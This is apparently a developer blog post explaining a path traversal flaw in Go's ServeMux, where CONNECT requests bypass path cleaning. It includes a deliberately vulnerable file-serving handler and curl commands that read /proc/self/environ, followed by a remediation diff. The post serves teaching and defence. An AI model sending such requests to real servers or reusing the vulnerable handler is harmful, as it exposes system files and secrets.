As a passionate Go developer, I’ve come to appreciate the language’s simplicity
and power. However, even in a well-designed language like Go, security
vulnerabilities can lurk in unexpected places. In this post, we’ll explore a
common misconception about Go’s ServeMux that can lead to a path traversal
vulnerability.
TL;DR: Many developers assume that
ServeMuxalways sanitizes URL request paths, but this isn’t always the case.
The Issue
Consider the following code snippet, where we let the user read the files
content in /tmp folder:
package main
import (
"io/ioutil"
"log"
"net/http"
"path/filepath"
"strings"
)
const root = "/tmp"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
filename := filepath.Join(root, strings.Trim(r.URL.Path, "/"))
contents, err := ioutil.ReadFile(filename)
if err != nil {
w.WriteHeader(http.StatusNotFound)
return
}
w.Write(contents)
})
server := &http.Server{
Addr: "127.0.0.1:50000",
Handler: mux,
}
log.Fatal(server.ListenAndServe())
}
Here we are creating a file in /tmp folder to test if we will be able to read
the file contents:
$ echo content > /tmp/somefile
$ curl -v 127.0.0.1:50000/somefile
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> GET /somefile HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 18 Jul 2018 18:08:46 GMT
< Content-Length: 8
< Content-Type: text/plain; charset=utf-8
<
content
* Connection #0 to host 127.0.0.1 left intact
We’ve successfully read the file.
Since we call ioutil.ReadFile function for a user-supplied input
r.URL.Path this might seem like a path traversal vulnerability.
Are we able to read any arbitrary file by
providing relative-path pattern? Let’s try to read ../../etc/hostname for
example:
$ curl -v --path-as-is 127.0.0.1:50000/somefile/../../etc/hostname
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> GET /something/../../../etc/hostname HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Content-Type: text/html; charset=utf-8
< Location: /etc/hostname
< Date: Wed, 18 Jul 2018 18:07:35 GMT
< Content-Length: 48
<
<a href="/etc/hostname">Moved Permanently</a>.
* Connection #0 to host 127.0.0.1 left intact
It turns out that ServeMux canonicalizes the requested path, so it’s not
easily exploitable, but indeed it’s still vulnerable.
Here’s how we can exploit it using the CONNECT method:
$ curl -v -X CONNECT --path-as-is 127.0.0.1:50000/../../proc/self/environ
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> CONNECT /../../proc/self/environ HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 18 Jul 2018 18:17:55 GMT
< Content-Type: application/octet-stream
< Transfer-Encoding: chunked
<
REDACTED
Bingo.
I should note that this is an expected behaviour and
clearly documented
in the net/http package docs:
The path and host are used unchanged for CONNECT requests.
Remediation
Use filepath.FromSlash accompanied by path.Clean and a preceding forward slash:
$ diff --git a/main.go b/main.go
index d50e6f3..91e5015 100644
--- a/main.go
+++ b/main.go
@@ -4,6 +4,7 @@ import (
"io/ioutil"
"log"
"net/http"
+ "path"
"path/filepath"
"strings"
)
@@ -13,7 +14,7 @@ const root = "/tmp"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
- filename := filepath.Join(root, strings.Trim(r.URL.Path, "/"))
+ filename := filepath.Join(root, filepath.FromSlash(path.Clean("/"+strings.Trim(r.URL.Path, "/"))))
contents, err := ioutil.ReadFile(filename)
if err != nil {
w.WriteHeader(http.StatusNotFound)
Also, it’s a good practice to limit acceptable request methods.
If you’re not able to fix the code - put a vulnerable service behind a reverse proxy like nginx, which does not allow CONNECT method request by default.